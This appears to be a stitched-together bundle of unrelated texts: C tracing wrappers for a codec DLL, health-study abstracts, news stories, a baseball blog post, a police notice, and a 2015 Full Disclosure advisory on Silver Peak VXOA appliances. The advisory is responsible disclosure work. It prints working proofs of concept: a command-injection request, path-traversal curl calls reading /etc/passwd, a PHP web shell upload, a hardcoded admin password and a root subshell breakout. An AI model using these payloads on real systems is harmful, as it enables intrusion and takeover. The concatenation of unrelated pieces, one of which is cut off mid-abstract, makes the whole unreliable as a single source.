fprintf(stderr, "PNCodec_Close(PNCMain *pncMain=0x%0lx(%ld))\n", p1, p1);
// hexdump((void*)p1, 44);
tic();
result=(*pncClose)(p1);
toc();
// hexdump((void*)p1, 44);
fprintf(stderr, "PNCodec_Close --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNCodec_GetUIName(ulong p1,ulong p2) {
ulong result;
fprintf(stderr, "PNCodec_GetUIName(PNCMain *pncMain=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "char **appname=0x%0lx(%ld))\n", p2, p2);
// hexdump((void*)p1, 0x1278);
// hexdump((void*)p2, 128);
tic();
result=(*pncGetUIName)(p1,p2);
toc();
// hexdump((void*)p1, 0x1278);
// hexdump((void*)p2, 128);
fprintf(stderr, "PNCodec_GetUIName --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNCodec_GetVersion(ulong p1,ulong p2) {
ulong result;
fprintf(stderr, "PNCodec_GetVersion(ulong p1=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "ulong p2=0x%0lx(%ld))\n", p2, p2);
// hexdump((void*)p1, 44);
tic();
result=(*pncGetVersion)(p1,p2);
toc();
// hexdump((void*)p1, 44);
fprintf(stderr, "PNCodec_GetVersion --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNCodec_QueryMediaFormat(ulong p1,ulong p2,ulong p3,ulong p4) {
ulong result;
fprintf(stderr, "PNCodec_QueryMediaFormat(ulong p1=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "ulong p2=0x%0lx(%ld),\n\t", p2, p2);
fprintf(stderr, "ulong p3=0x%0lx(%ld),", p3, p3);
fprintf(stderr, "ulong p4=0x%0lx(%ld),\n", p4, p4);
// hexdump((void*)p1, 44);
tic();
result=(*pncQueryMediaFormat)(p1,p2,p3,p4);
toc();
// hexdump((void*)p1, 44);
fprintf(stderr, "PNCodec_QueryMediaFormat --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNCodec_PreferredMediaFormat(ulong p1,ulong p2,ulong p3,ulong p4) {
ulong result;
fprintf(stderr, "PNCodec_PreferredMediaFormat(ulong p1=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "ulong p2=0x%0lx(%ld),\n\t", p2, p2);
fprintf(stderr, "ulong p3=0x%0lx(%ld),", p3, p3);
fprintf(stderr, "ulong p4=0x%0lx(%ld),\n", p4, p4);
// hexdump((void*)p1, 44);
tic();
result=(*pncPreferredMediaFormat)(p1,p2,p3,p4);
toc();
// hexdump((void*)p1, 44);
fprintf(stderr, "PNCodec_PreferredMediaFormat --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNCodec_GetMediaFormats(ulong p1,ulong p2,ulong p3,ulong p4) {
ulong result;
fprintf(stderr, "PNCodec_GetMediaFormats(ulong p1=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "ulong p2=0x%0lx(%ld),\n\t", p2, p2);
fprintf(stderr, "ulong p3=0x%0lx(%ld),", p3, p3);
fprintf(stderr, "ulong p4=0x%0lx(%ld),\n", p4, p4);
// hexdump((void*)p1, 44);
tic();
result=(*pncGetMediaFormats)(p1,p2,p3,p4);
toc();
// hexdump((void*)p1, 44);
fprintf(stderr, "PNCodec_GetMediaFormats --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNCodec_StreamOpen(ulong p1,ulong p2,ulong p3) {
ulong result;
fprintf(stderr, "PNCodec_StreamOpen(PNCMain *pncMain=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "PNSMain **pnsMain=0x%0lx(%ld),\n\t", p2, p2);
fprintf(stderr, "ulong **p3=0x%0lx(%ld),\n", p3, p3);
// hexdump((void*)p1, 0x1278);
// hexdump((void*)p2, 128);
// hexdump((void*)p3, 4);
hexdump(*((void**)p3), 4);
tic();
result=(*pncStreamOpen)(p1,p2,p3);
toc();
// hexdump((void*)p1, 0x1278);
hexdump((void*)p2, 4);
// hexdump((void*)p3, 128);
hexdump(*((void**)p2), 128);
hexdump(**((void***)p2), 128);
fprintf(stderr, "PNCodec_StreamOpen --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNStream_OpenSettingsBox(ulong p1,ulong p2) {
ulong result;
fprintf(stderr, "PNStream_OpenSettingsBox(ulong p1=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "ulong p2=0x%0lx(%ld),\n", p2, p2);
// hexdump((void*)p1, 44);
tic();
result=(*pnsOpenSettingsBox)(p1,p2);
toc();
// hexdump((void*)p1, 44);
fprintf(stderr, "PNStream_OpenSettingsBox --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNStream_GetIPNUnknown(ulong p1) {
ulong result;
fprintf(stderr, "PNStream_GetIPNUnknown(ulong p1=0x%0lx(%ld))\n", p1, p1);
// hexdump((void*)p1, 44);
tic();
result=(*pnsGetIPNUnknown)(p1);
toc();
// hexdump((void*)p1, 44);
fprintf(stderr, "PNStream_GetIPNUnknown --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNStream_SetDataCallback(ulong p1,ulong p2,ulong p3,ulong p4) {
ulong result;
int i=0;
void **pp;
fprintf(stderr, "PNStream_SetDataCallback(ulong p1=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "ulong p2=0x%0lx(%ld),\n\t", p2, p2);
fprintf(stderr, "ulong p3=0x%0lx(%ld),", p3, p3);
fprintf(stderr, "ulong p4=0x%0lx(%ld))\n", p4, p4);
hexdump((void*)p1, 0x24);
hexdump((void*)p2, 32);
hexdump((void*)p3, 4);
hexdump((void*)p4, 32);
fprintf(stderr, "content of the callback functions:\n\n");
while(i<8) {
hexdump(*((void**)p2+i), (i==0)?32*4:16);
i++;
}
i=0;
pp=(*(void***)p2);
fprintf(stderr, "content of the callback functions (first entry):\n\n");
while(i<15) {
hexdump(*((void**)pp+i), 32);
i++;
}
tic();
result=(*pnsSetDataCallback)(p1,p2,p3,p4);
toc();
hexdump((void*)p1, 0x24);
// hexdump((void*)p2, 256);
// hexdump((void*)p3, 4);
hexdump(*((void**)p3), 256);
fprintf(stderr, "PNStream_SetDataCallback --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNStream_SetProperty(ulong p1,ulong p2,ulong p3) {
ulong result;
fprintf(stderr, "PNStream_SetProperty(ulong p1=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "ulong p2=0x%0lx(%ld),\n\t", p2, p2);
fprintf(stderr, "ulong p3=0x%0lx(%ld))\n", p3, p3);
hexdump((void*)p3, 4);
tic();
result=(*pnsSetProperty)(p1,p2,p3);
toc();
// hexdump((void*)p3, 44);
fprintf(stderr, "PNStream_SetProperty --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNStream_GetProperty(ulong p1,ulong p2,ulong p3) {
ulong result;
fprintf(stderr, "PNStream_GetProperty(ulong p1=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "ulong p2=0x%0lx(%ld),\n\t", p2, p2);
fprintf(stderr, "ulong p3=0x%0lx(%ld))\n", p3, p3);
// hexdump((void*)p3, 44);
tic();
result=(*pnsGetProperty)(p1,p2,p3);
toc();
hexdump((void*)p3, 4);
fprintf(stderr, "PNStream_GetProperty --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNStream_Close(ulong p1) {
ulong result;
fprintf(stderr, "PNStream_Close(ulong p1=0x%0lx(%ld))\n", p1, p1);
// hexdump((void*)p1, 44);
tic();
result=(*pnsClose)(p1);
toc();
// hexdump((void*)p1, 44);
fprintf(stderr, "PNStream_Close --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong streamHeaderSize=0;
ulong PNStream_GetStreamHeaderSize(ulong p1,ulong p2) {
ulong result;
fprintf(stderr, "PNStream_GetStreamHeaderSize(ulong p1=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "ulong p2=0x%0lx(%ld),\n", p2, p2);
// hexdump((void*)p2, 44);
tic();
result=(*pnsGetStreamHeaderSize)(p1,p2);
toc();
hexdump((void*)p2, 4);
streamHeaderSize=*((ulong *)p2);
fprintf(stderr, "PNStream_GetStreamHeaderSize --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNStream_GetStreamHeader(ulong p1,ulong p2) {
ulong result;
fprintf(stderr, "PNStream_GetStreamHeader(ulong p1=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "ulong p2=0x%0lx(%ld),\n", p2, p2);
// hexdump((void*)p2, 44);
tic();
result=(*pnsGetStreamHeader)(p1,p2);
toc();
hexdump((void*)p2, streamHeaderSize);
fprintf(stderr, "PNStream_GetStreamHeader --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNStream_Input(ulong p1,ulong p2,ulong p3) {
ulong result;
fprintf(stderr, "PNStream_Input(ulong p1=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "ulong p2=0x%0lx(%ld),\n\t", p2, p2);
fprintf(stderr, "ulong p3=0x%0lx(%ld))\n", p3, p3);
hexdump((void*)p3, 4);
tic();
result=(*pnsInput)(p1,p2,p3);
toc();
// hexdump((void*)p3, 44);
fprintf(stderr, "PNStream_Input --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNStream_SetOutputPacketSize(ulong p1,ulong p2,ulong p3,ulong p4) {
ulong result;
fprintf(stderr, "PNStream_SetOutputPacketSize(ulong p1=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "ulong p2=0x%0lx(%ld),\n\t", p2, p2);
fprintf(stderr, "ulong p3=0x%0lx(%ld),", p3, p3);
fprintf(stderr, "ulong p4=0x%0lx(%ld))\n", p4, p4);
// hexdump((void*)p1, 44);
tic();
result=(*pnsSetOutputPacketSize)(p1,p2,p3,p4);
toc();
// hexdump((void*)p1, 44);
fprintf(stderr, "PNStream_SetOutputPacketSize --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNStream_GetInputBufferSize(ulong p1,ulong p2) {
ulong result;
fprintf(stderr, "PNStream_GetInputBufferSize(ulong p1=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "ulong p2=0x%0lx(%ld))\n", p2, p2);
// hexdump((void*)p1, 44);
tic();
result=(*pnsGetInputBufferSize)(p1,p2);
toc();
// hexdump((void*)p1, 44);
fprintf(stderr, "PNStream_GetInputBufferSize --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
void SetDLLAccessPath(ulong p1) {
fprintf(stderr, "SetDLLAccessPath(ulong p1=0x%0lx(%ld))\n", p1, p1);
// hexdump((void*)p1, 44);
(*setDLLAccessPath)(p1);
// hexdump((void*)p1, 44);
fprintf(stderr, "--> void\n\n\n");
}
|
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A walk through survey of control technology for reducing exposure during asbestos (1332214) removal (SIC-1799) at James Monroe Elementary School, Norfolk, Virginia was conducted in July, 1984. The later stages of asbestos removal from the boiler room equipment were observed. Engineering controls consisted of using the containment barrier control method recommended by the Environmental Protection Agency guidelines for asbestos removal and maintaining the containment area under negative pressure. Magnehelic gauges, however, were not able to detect a steady 0.2 inch negative pressure across the barrier. Wet removal procedures were used and water was applied liberally. Interior and exterior monitoring was performed by analyzing samples obtained by battery powered sampling pumps by phase contrast and scanning electron microscopy. Workers wore disposable coveralls and half/face cartridge respirators. Walk through decontamination showers were located at the entrance to the enclosure. The author notes that at the time of the survey, the negative air control system apparently was not working at its peak efficiency. He recommends that more emphasis be placed on maintaining this equipment. An indepth survey of the contractor is not warranted as removal technologies of current interest (glove bags, injection/wetting, local ventilation) were not used. |
Impact of body mass index on the predictive ability of body fat distribution for type 2 diabetes risk in Koreans.
The optimal anthropometric measure of obesity or body fat distribution that best predicts the risk of Type 2 diabetes in Asians is unclear. Moreover, it has not been determined whether BMI modifies the effect of body fat distribution on diabetes risk in Asians. We analysed the anthropometric and laboratory data of 7658 non-diabetic Korean adults (5061 men and 2597 women, aged 20-79 years) who underwent routine medical check-ups at 5-year intervals. BMI, waist circumference, waist-to-height ratio, and bioelectrical impedance (to calculate fat mass and per cent body fat) were measured at baseline. Of the 7658 participants, 278 subjects (3.6%) developed diabetes over 5 years. Each of the anthropometric measures of general obesity (BMI, fat mass, per cent body fat) and central body fat distribution (waist circumference and waist-to-height ratio) was a good predictor of Type 2 diabetes. However, when the areas under the receiver-operating characteristic curves were compared, BMI (0.697; 95% CI, 0.669-0.725), waist circumference (0.709, 0.682-0.736) and waist-to-height ratio (0.718, 0.692-0.743) were better predictors of diabetes risk than fat mass (0.672, 0.643-0.700) or per cent body fat (0.657, 0.628-0.686). In the low- (< 23 kg/m(2)) and mid- (23-27 kg/m(2)) BMI groups, the addition of waist-to-height ratio or waist circumference to BMI could improve the prediction of diabetes risk. BMI, waist circumference and waist-to-height ratio were good predictors of Type 2 diabetes risk in Koreans. In non-obese or less obese subjects, measures of central body fat distribution can help improve the prediction of Type 2 diabetes risk when added to measures of general obesity. |
Germany govt gives Ushs 23bn to protect River Nile
Germany govt gives Ushs 23bn to protect River Nile
A six million euro mega project has been unveiled with the aim of protecting wetlands considered crucial for the survival of rive Nile, the world’s longest river.
Dubbed the Nile Basin Transboundary Wetlands project, the lives of surrounding communities and hence the wider community of the Nile Basin.
The project comes thanks to the efforts of Dr. John Rao Nyaoro, the outgoing Executive Director of the Nile Basin Initiative and his team but more so perhaps by the generous support of the Germany government through its Ministry for International Cooperation (GIZ)
Launched in Entebbe a few days ago, the Nile Basin Transboundary Wetlands project is a timely project following the end of the World Bank’s trust that supported most projects for nearly ten years.
The project is seen as a timely rescue effort for several wetlands in the Nile basin initiative where wetlands face widespread encroachment on the invaluable natural habitats that are considered vital for human survival through direct and indirect benefits through agriculture as well as providing a shelter biodiversity.
The outgoing Executive Director of the NBI Secretariat, Dr. Nyaoro, said the Nile Basin is endowed with rich and diverse wetlands crucial for the provision of multiple ecosystem services and goods, which are beneficial to livelihoods of its citizens, economies and associated ecosystems.
He cited water purification and supply, climate regulation, flood control and tourism as some of the benefits of wetlands. However, most wetlands, he observed, are facing serious degradation pressures in form of human settlements, agricultural activities, urbanisation, over-exploitation and climate change.
Dr. Nyaoro said the project will benefit communities in all the ten member countries of the Nile Basin Initiative (NBI) by supporting enhanced livelihoods security, improved adaptation to climate change through ecosystem based adaptation.
Although the project will focus on saving transboundary wetlands or wetlands of transboundary importance such as the vast Sudd mashes of Sudan Sudan that stretch as far as 200 miles, environmentalists from across all ten NBI member countries held deliberations on how to save other wetlands that may not come under the project.
Several participants cited the need to develop and implement community-led wetland management plans as one of the avenues through which wetlands can be sustainably managed.
From the flow of discussions, Uganda appeared to have developed a successful community-led wetland management plan. According to Lucy Iyango, the Assistant Commissioner for Wetlands in charge of Wetland Assessment, her ministry has successfully restored over 80 formerly degraded wetlands in several parts of the country.
In an interview with The Sunrise, Iyango emphasised the need for community sensitization about the importance of wetlands.
Despite Iyango glowing description of the ministry’s work, wetlands across the country continue to face extreme pressure, almost similar to that facing forests .
According to Iyango, 13 percent of Uganda’s land surface is covered by wetlands but their impact in as far as supporting the livelihoods of people goes far beyond. |
KANSAS CITY, MO - JULY 16: Whit Merrifield #15 of the Kansas City Royals runs to third during the first inning against the Texas Rangers at Kauffman Stadium on July 16, 2017 in Kansas City, Missouri. (Photo by Brian Davidson/Getty Images)
Since 2008 the Dodgers have had 9 different players as their everyday second baseman. Making someone stick and be productive at the position has proven to be difficult. Yet again in 2018 second base is an issue. Luckily, I think there is a solution not only for this year but for next few years and he plays in Kansas City.
From 2008-2017 the only player to record more than one season as the everyday second baseman was Mark Ellis in 2012 and 2013. Other than him it was one and done as the everyday starter. In order: Jeff Kent, Orlando Hudson, Blake DeWitt, Jamey Carroll, Mark Ellis, Dee Gordon, Howie Kendrick, Chase Utley, Logan Forsythe.
Entering 2018 it looked like Forsythe was going to come in and produce, but that has just not been the case with his injuries and inconsistent play. Utley was the backup plan, but he can’t hit left-handed pitching and has not aged very well. With Forsythe no longer on the books after this season and his awful start, it is time to find his replacement.
The Dodgers traded the player that everyone thought would be the second baseman of the future when they acquired Yu Darvish in exchange for Willie Calhoun. Now not only do they have an immediate problem, but they also have a future problem.
How should the Dodgers address that situation? I’ve got a suggestion
Whit Merrifield.
He is currently slashing .281/.352/.411 with four bombs and twelve stolen bases. Not only does he check the box of being an everyday second baseman for 2018 but he checks many more boxes that it just makes too much sense for the Dodgers to acquire him.
Other than being the 2018 everyday second baseman, he can be the future second baseman for the next few seasons because he is under team control until after the 2022 season. He also solves he dilemma the Dodgers currently face at the leadoff spot in the lineup. Roberts has had a revolving door at the first spot in the lineup, but acquiring a bonafide table setter would solve that issue.
Merrifield has Dodger written all over him. He plays multiple positions and we all know just how much the Dodgers brass love players who can play more than one position.
On top of how well he fits on the field, he also fits within the financial constraints that the front office is trying to work through. He is due to make under 1 million dollars this season so he fits perfectly and gives them wiggle room to improve elsewhere.
All sounds good on the Dodgers side, but why would the Royals trade a .280 leadoff hitter under a team friendly contract for 4 more seasons after this year?
The Royals will be fighting for the worst record in the bigs this season. They are looking to rebuild and trading whatever talent they do have will help the rebuild finish quicker. Whit Merrifield is 29-years-old and by the time they are able to compete again, he’ll likely be in his age 33-34 season.
The Royals also have a top middle infield prospect named Nicky Lopez who is tearing it up in Double-A and looks ready for a call-up anytime soon. He is 23 and currently hitting .339 in the minors. If the plan was to move Merrifield to the outfield once Lopez is ready to move up, that will not work either because two of the top three prospects in their system play outfield.
So, in reality, they could keep him but they do not need him and would be better off acquiring prospects from the Dodgers. Now that’s the big question. What or rather who would it take to get Whit Merrifield to the Dodgers.
For a team like the Royals with so many needs, quantity over quality might work better. A package of “B” prospects would be better for their rebuild rather than targeting one top prospect to head a package.
Verdugo, Buehler, Ruiz, and Kendall are off the table for a player like Merrifield. A package like Mitchell White, Matt Beaty and Drew Jackson might be enough to get the deal done. If they want Forsythe to be a stopgap for the rest of the season the Dodgers would be glad to him to include him and maybe add another prospect or two as a thank you for taking on his contract.
If they really want a blockbuster, the Dodgers could target both Merrifield and Kelvin Herrera and kill two birds with one stone in the same deal. That obviously would take a top prospect or two in order to get the job done. But for now, I would be happy with just getting Merrifield.
He fits this team perfectly. They would finally get steady production out of second base, a legitimate leadoff, another versatile piece and all of this would be accomplished while staying well under the cap. Now it is just time to wait and see if the front office can get the deal done. |
Full Disclosure mailing list archives
By Date By Thread Silver Peak VXOA Multiple Vulnerabilities From: Daniel Jensen <daniel.jensen () security-assessment com>
Date: Wed, 9 Sep 2015 11:23:30 +1200
( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. Silver Peak VXOA Multiple Vulnerabilities Affected versions: Silver Peak VX < 6.2.11 PDF: http://www.security-assessment.com/files/documents/advisory/Silverpeak-Advisory-Final.pdf +-----------+ |Description| +-----------+ The Silver Peak VX virtual appliance running VXOA before version 6.2.11 contains a number of security vulnerabilities, including command injection, unauthenticated file read, mass assignment, shell upload, and hardcoded credentials. By combining these vulnerabilities, an attacker may remotely obtain root privileges on the underlying host. +------------+ |Exploitation| +------------+ ==Command Injection== A user with administrative access to the REST JSON interface of the VX web server may execute arbitrary commands on the operating system. The injection point lies in the "snmp" call, which does not sanitise the "auth_key" parameter before including it in an executed command string. The following command injection PoC writes the user's id to a file on the filesystem. [Command Injection PoC] POST /rest/json/snmp HTTP/1.1 Host: [HOST] Content-Type: application/json; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 368 Cookie: connect.sid=[VALID]; {"access":{"rocommunity":"public"},"listen":{"enable":true},"traps":{"trap_community":"public","enable":true},"auto_launch":true,"sysdescr":"", "syscontact":"","syslocation":"","v3":{"users":{"admin":{"hash_type":"sha","auth_key":"a;echo `id` > /var/tmp/cmd_inj","self":"admin","privacy_key":"","privacy_type":"aes-128","enable":false}}},"encAuth":false,"encPri":false} ==Unauthenticated File Read== A user with the ability to access the VX web server interface may make an unauthenticated call to a web interface function that allows them to read arbitrary files on the disk with the permission of the web server user "apache". Two functions are affected by this vulnerability, "save_file.php" and "save_config_file.php". [Unauthenticated File Read PoC] curl -sk "https://[HOST]/6.2.5.0_52054/php/save_file.php?ftype=log&fname=../../etc/passwd" OR curl -sk "https://[HOST]/6.2.5.0_52054/php/save_config_file.php?filename=../../../../../../../../etc/passwd" ==Mass Assignment== A user with access to the REST JSON interface of the VX web server may alter undocumented parameters of the "users" call, allowing them to change a user's login shell to bash. This can be used to evade the limited subshell enforced by the SSH server on the appliance. [Mass assignment PoC] POST /rest/json/users HTTP/1.1 Host: [HOST] Content-Type: application/json; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 366 Cookie: connect.sid=[VALID]; {"users":{"basic":{"self":"basic","enable":true,"gid":0,"password":"[SNIP]","shell":"/bin/bash"}},[SNIP other users]}} ==Shell Upload== A user with monitor or administrative access to the web interface of the VX web server may upload a PHP shell in order to execute arbitrary commands as the web server user "apache". A POST request containing the PHP shell is made to the "configdb_file.php" endpoint. This uploads the shell to a directory with a randomly generated name corresponding to the user's SOAP interface session. This random value may be obtained from "home.php", and the uploaded shell accessed within that directory. The following PoC details uploading the shell, obtaining the SOAP directory name, and using the shell. [Shell upload PoC] POST /6.2.5.0_52054/php/configdb_file.php?seenform=1 HTTP/1.1 Host: [HOST] Cookie: PHPSESSID=[VALID]; Content-Type: multipart/form-data; boundary=---------------------------18932870311933452824851992207 Content-Length: 301 -----------------------------18932870311933452824851992207 Content-Disposition: form-data; name="userfile"; filename="shell.php" Content-Type: text/html <?php $cmd = $_GET["cmd"]; $output = shell_exec($cmd); echo "$output"; ?> -----------------------------18932870311933452824851992207 #End of request $curl -sk -b 'PHPSESSID=[VALID]' "https://[HOST]/6.2.5.0_52054/php/home.php" | grep "flowFile" var flowFile = "/opt/tms/lib/web/content/webui/php/temp/soap/wcupfu36lkvkyutxc2h1swnxsnz8rsffijnhod9zmwr270oreuoatajxcfq71sf/"; $curl -sk "https://[HOST]/6.2.5.0_52054/php/temp/soap/wcupfu36lkvkyutxc2h1swnxsnz8rsffijnhod9zmwr270oreuoatajxcfq71sf/shell.php?cmd=id" uid=48(apache) gid=48(apache) groups=48(apache) ==Hardcoded Account== The "spsadmin" account is predefined in the VX appliance, and is hidden from user account lists in the web and subshell interfaces. The account has a hardcoded password of "Silverpeak123", and cannot be logged into through the regular web interface, or the subshell over SSH. However, the account can log in via the web JSON interface, and execute JSON API calls with administrative privileges. This can include creating new users, with which an attacker may successfully log into the SSH or web interfaces, and also exploiting the Command Injection bug detailed earlier in this advisory. The following PoC details the request and credentials used to obtain a valid REST cookie: [Hardcoded account login PoC] POST /rest/json/login HTTP/1.1 Host: [host] Content-Type: application/json; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 46 {"user":"spsadmin","password":"Silverpeak123"} ==Subshell Breakout== An administrative user with access to the enable menu of the login subshell may enter a hardcoded string to obtain a bash shell on the operating system. [Subshell Breakout POC] silverpeak > en silverpeak # _spsshell [admin@silverpeak root]# id uid=0(admin) gid=0(root) groups=0(root) +----------+ | Solution | +----------+ Users of the 6.2.x branch should upgrade to version 6.2.11 of VXOA in order to protect against these issues. Silver Peak has advised that users of the 7.2.x branch are only vulnerable to the command injection vulnerability, which will be patched in version 7.3. +-------------------+ |Disclosure Timeline| +-------------------+ 01/04/2015 - Email sent to info address asking for a security contact. 09/04/2015 - Email sent to info and security addresses asking for a security contact. 21/04/2015 - Email sent to CEO regarding security contact. 21/04/2015 - Response from CEO providing security contact details. 22/04/2015 - Email sent to security contact asking for PGP key. 22/04/2015 - Received PGP key, sent advisory. 22/04/2015 - Email received confirming receipt of advisory. 22/06/2015 - Email sent asking for update on advisory. 23/06/2015 - Vendor details fixes in place, states that all issues have been fixed in 6.2.11.0, and only the command injection remains unfixed in the 7.2.x version. 17/07/2015 - Email sent regarding resolution of unfixed issue. 17/07/2015 - Received response stating the command injection issue is only relevant to customers who have disabled shell access. 21/07/2015 - Email sent asking for clarification on the vendor stance. 21/07/2015 - Vendor states command injection vulnerability is only an issue for customers with shell access disabled as they otherwise have the ability to execute commands through the shell, and that the issue will be fixed in release 7.3. 09/09/2015 - Public advisory release. +-----------------------------+ |About Security-Assessment.com| +-----------------------------+ Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients. Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research. For further information on this issue or any of our service offerings, contact us: Web www.security-assessment.com Email info () security-assessment.com Phone +64 4 470 1650 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/ By Date By Thread Current thread: Silver Peak VXOA Multiple Vulnerabilities Daniel Jensen (Sep 10) |
When assessors from a police accreditation agency look next month at the Bellevue Police Department's performance, they will gather public comment.
As part of an on-site assessment by the Commission on Accreditation for Law Enforcement Agencies, people who live and work in Bellevue will be invited to offer comments at a meeting Monday, Dec. 3, 7 p.m., at City Hall, 450 110th Ave. NE. (The specific room number will be posted in the lobby.)
People who cannot speak at the public information session but would still like to provide comments to the assessment team may do so by calling 425-452-2566 on Dec. 3, between 1 and 5 p.m.
Assessors from CALEA will arrive Dec. 1 to examine all aspects of the Bellevue Police Department's operations. The department was first accredited in 2004 and is seeking reaccreditation.
The Bellevue Police have volunteered for verification by CALEA that the department's policies, procedures, management, operations and support services meet high standards. Accreditation is a highly prized recognition of law enforcement professional excellence.
Telephone comments as well as appearances at the Dec. 3 public information session are limited to 10 minutes, and must address the police department's ability to comply with CALEA's standards. Due to copyright issues, a complete copy of the CALEA standards is not available online. A hard copy of the standards is available at the Bellevue Police Department. The local contact person is Public Information Officer Greg Grannis, 425-452-4129.
People wishing to offer written comments about the Bellevue Police Department's ability to meet the standards for accreditation should write to: Commission on Accreditation for Law Enforcement Agencies, 10302 Eaton Pl., Suite 320, Fairfax, VA 22030-2201 or send e-mails to CALEA. |
It took just a few hours for the British Columbia hometown of James Paxton to honour his no-hitter against the Toronto Blue Jays.
By Wednesday morning, the Welcome to Ladner sign was decorated with homemade notices reading Congrats James, and Big Maple with a no-hitter. The heron on the same sign had a Canadian flag taped to its beak and was wearing a cutout of Paxton's Seattle Mariners jersey.
article continues below
The left-hander pitched a no-hitter against the Toronto Blue Jays Tuesday night, becoming only the second ever Canadian to reach the achievement.
The feat is no surprise for coaches in Delta, where he played baseball growing up. They say at 15 years old, Paxton was throwing "ridiculous" curveballs at 90 miles an hour and had a work ethic to take him to the top.
Ari Mellios coached Paxton from 2004 to 2006 with the North Delta Blue Jays.
He said Paxton hasn't changed since he was 17.
"Even back then he was always one of the big leaders on our team, he wanted the other players to do just as well as he did and his work ethic rubbed off on all the other kids," Mellios added.
Paxton was always upbeat and a consummate teammate, he said.
"He was one of the best pitchers I've ever coached and I've been very fortunate to coach Jeff Francis as well, who played 10 years in the big leagues," he said. "But James just had tremendous talent and was a treat to watch pitch for those three years."
Paxton's father Ted, his mother Barbara, and his aunt and uncle were all sitting in the Paxtons' front room watching the incredible game unfold. He said that while all the games his son starts are nerve-racking, this game will stand out among the rest.
"It's the culmination of so many things coming together over the years to finally sort of get to something like this, and its just amazing to have that sensation of all that work coming to a point" said Ted Paxton in an interview on Wednesday.
He spoke highly of his son's former coaches for teaching him to harness his drive, but added his son was always very goal-oriented both on and off the diamond.
Ted Paxton recalled the time when his 10 year-old son directed that same focus at a Grade 5 math award.
"By golly, he went out, he worked hard, and he ended up getting that award. And that's just something that he does: he sets his crosshairs on something and he will be determined and disciplined."
Bob Burkmar was an assistant coach on the same Delta team and he had to prepare the catchers to receive a pitch from the teenage James Paxton, who was already six-foot-four-inches tall.
"James overpowered you and all of the sudden he would throw a ridiculous curve, which at the time was in the low 90s and high 80s, and as a 15-, 16-year-old, was really overpowering."
Even then, Paxton was nonchalant and had excellent concentration, Burkmar said.
"The things that he did back then, you just couldn't believe. ... Other teams would razz him and batters would get out of the box when he was getting ready to make his move."
Mellios said it is Paxton's work ethic that enabled him to get where he is today.
"He always seemed to be a step ahead of most other people, I got the sense from being around him all those years." |
The latest outbreak of Ebola in West Africa overwhelmed the affected countries, with the impact on health extending far beyond Ebola–related deaths that have exceeded 11 000. The need to promptly mobilise resources to control emerging infections is widely recognized. Yet, data on research funding for emerging infections remains inadequately documented.
Methods
We defined research investment as all funding flows for Ebola and/or Marburg virus from 1997 to April 2015 whose primary purpose was to advance knowledge and new technologies to prevent or cure disease. We sourced data directly from funding organizations and estimated the investment in 2015 US dollars (US$).
Results
